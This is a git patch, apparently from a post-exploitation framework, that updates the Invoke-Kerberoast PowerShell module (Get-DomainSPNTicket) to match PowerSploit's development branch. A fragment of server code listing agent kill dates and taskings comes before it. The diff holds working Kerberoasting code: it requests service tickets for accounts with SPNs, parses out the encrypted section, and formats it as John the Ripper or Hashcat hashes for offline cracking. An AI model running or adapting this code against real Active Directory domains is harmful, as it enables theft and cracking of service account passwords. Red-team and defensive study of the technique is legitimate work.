"children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) return jsonify({'agents' : agents}) From 18878899207a894f3f47d39781fcd9bf293bc266 Mon Sep 17 00:00:00 2001 From: xorrior Date: Fri, 29 Dec 2017 14:55:25 -0500 Subject: [PATCH 25/25] Updated kerberoast source to match powersploit dev branch --- .../credentials/Invoke-Kerberoast.ps1 | 103 +++++++++++++----- 1 file changed, 75 insertions(+), 28 deletions(-) diff --git a/data/module_source/credentials/Invoke-Kerberoast.ps1 b/data/module_source/credentials/Invoke-Kerberoast.ps1 index 149fe51..cd9b831 100644 --- a/data/module_source/credentials/Invoke-Kerberoast.ps1 +++ b/data/module_source/credentials/Invoke-Kerberoast.ps1 @@ -454,43 +454,73 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49 function Get-DomainSPNTicket { <# .SYNOPSIS + Request the kerberos ticket for a specified service principal name (SPN). + Author: machosec, Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + .DESCRIPTION + This function will either take one/more SPN strings, or one/more PowerView.User objects (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted portion of the ticket is then extracted and output in either crackable John or Hashcat format (deafult of John). + .PARAMETER SPN + Specifies the service principal name to request the ticket for. + .PARAMETER User + Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + .PARAMETER OutputFormat + Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. Defaults to 'John'. + .PARAMETER Credential + A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote domain using Invoke-UserImpersonation. + .EXAMPLE + Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" + Request a kerberos service ticket for the specified SPN. + .EXAMPLE + "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket + Request kerberos service tickets for all SPNs passed on the pipeline. + .EXAMPLE + Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat + Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. + .INPUTS + String + Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + .INPUTS + PowerView.User + Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + .OUTPUTS + PowerView.SPNTicket + Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. #> @@ -561,39 +591,55 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $TicketByteStream = $Ticket.GetRequest() } if ($TicketByteStream) { - $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' - $encType = [Convert]::ToInt32(($TicketHexStream -replace ".*A0030201")[0..1] -join "", 16) - [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201' - $Parts.RemoveAt($Parts.Count - 1) - $Hash = $Parts -join 'A48201' - $Hash = $Hash.Insert(32, '$') - $Out = New-Object PSObject + + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' + + # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) + # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object + if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') { + $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) + $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 + $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) + + # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object + if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { + Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"' + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } else { + $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" + $Out | Add-Member Noteproperty 'TicketByteHexStream' $null + } + } else { + Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } + + if($Hash) { + if ($OutputFormat -match 'John') { + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" + } + else { + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } + + # hashcat output format + $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" + } + $Out | Add-Member Noteproperty 'Hash' $HashFormat + } + $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName - - if ($OutputFormat -match 'John') { - $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" - } - else { - if ($DistinguishedName -ne 'UNKNOWN') { - $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - } - else { - $UserDomain = 'UNKNOWN' - } - # hashcat output format - $HashFormat = "`$krb5tgs`$$encType`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" - - } - $Out | Add-Member Noteproperty 'Hash' $HashFormat $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') - #Prints the PS Object - #Write-Output $Out - - #Prints just the hashes - Write-Output $HashFormat + Write-Output $Out } } } @@ -604,6 +650,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and } } } + function Get-DomainUser { <# .SYNOPSIS